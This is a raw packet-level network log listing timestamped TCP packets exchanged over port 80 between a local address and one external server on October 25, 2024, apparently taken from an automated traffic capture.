Oct 25, 2024 13:50:20.229981899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.229990005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230017900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230098009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230113983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230129957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230134010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230144978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230146885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230163097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230166912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230178118 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230185986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230194092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230195999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230211973 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230212927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230230093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230233908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230240107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230247021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230267048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230288029 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230314970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230329990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230345964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230353117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230364084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230371952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230385065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230397940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230451107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230465889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230488062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230489016 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230504036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230504990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230523109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230523109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230539083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230541945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230560064 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230562925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230568886 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230597973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230619907 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230642080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230664968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230674982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230777979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230792999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230808020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230817080 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230822086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230829000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230839014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230854034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230854988 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230866909 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230870962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230887890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230890989 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230899096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230906010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230916023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230922937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.230935097 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230950117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.230962992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231039047 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231061935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231076956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231080055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231092930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231098890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231110096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231112957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231126070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231127977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231141090 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231142044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231158972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231158018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231188059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231201887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231365919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231380939 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231396914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231409073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231412888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231419086 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231431007 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231439114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231448889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231457949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231466055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231477022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231482983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231499910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231501102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231501102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231514931 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231522083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231534958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231559992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231678009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231693983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231709957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231719971 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231724977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231735945 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231745005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231754065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231760025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231767893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231784105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231790066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231801987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231807947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231818914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231822968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231836081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231841087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231857061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231874943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231919050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.231992960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.231996059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.232013941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.232033968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.232038975 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.232052088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.232058048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.232074022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.232075930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.232093096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.232110023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.273482084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.273508072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.273524046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.273530960 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.273540974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.273550987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.273566961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.273586035 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346587896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346605062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346616030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346626997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346635103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346647978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346657038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346698046 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346728086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346739054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346749067 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346766949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346779108 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346788883 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346790075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346817970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346837997 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346849918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346860886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346869946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.346892118 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.346905947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347013950 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347024918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347034931 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347045898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347053051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347068071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347095966 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347145081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347155094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347163916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347173929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347183943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347184896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347199917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347225904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347249985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347259998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347270012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347285986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347310066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347317934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347323895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347336054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347347021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347356081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347383976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347383976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347517014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347527981 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347537994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347548962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347556114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347562075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347567081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347573996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347578049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347585917 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347598076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347620964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347656012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347666025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347676039 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347686052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347696066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347702980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347718954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347727060 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347829103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347845078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347855091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347865105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347870111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347877026 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347877979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347889900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.347899914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347914934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.347923994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348004103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348014116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348023891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348040104 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348045111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348051071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348062038 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348067999 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348084927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348109007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348232031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348242998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348253012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348262072 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348268032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348273993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348277092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348298073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348311901 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348417044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348428011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348437071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348449945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348454952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348459959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348465919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348479986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348499060 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348543882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348553896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348563910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348597050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348609924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348618984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348628998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348638058 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348649025 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348653078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348663092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348680973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348787069 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348798990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348809004 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348819971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348822117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348830938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348830938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348843098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348845959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348854065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.348865986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348884106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348901987 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.348995924 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.349005938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.349014997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.349025011 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.349035978 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.349046946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.349046946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.349065065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.407641888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.412961960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690582037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690633059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690643072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690675020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690689087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690723896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690731049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690758944 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690773964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690793037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690805912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690836906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690845013 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690879107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690890074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690912008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690922022 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690952063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.690954924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.690993071 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691018105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691051960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691062927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691095114 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691102028 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691134930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691139936 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691164970 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691175938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691199064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691205978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691239119 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691251040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691283941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691289902 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691322088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691353083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691390991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691406965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691446066 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691446066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691487074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691495895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:20.691538095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:20.691545010 CEST	80	49712	185.215.113.37	192.168.2.6
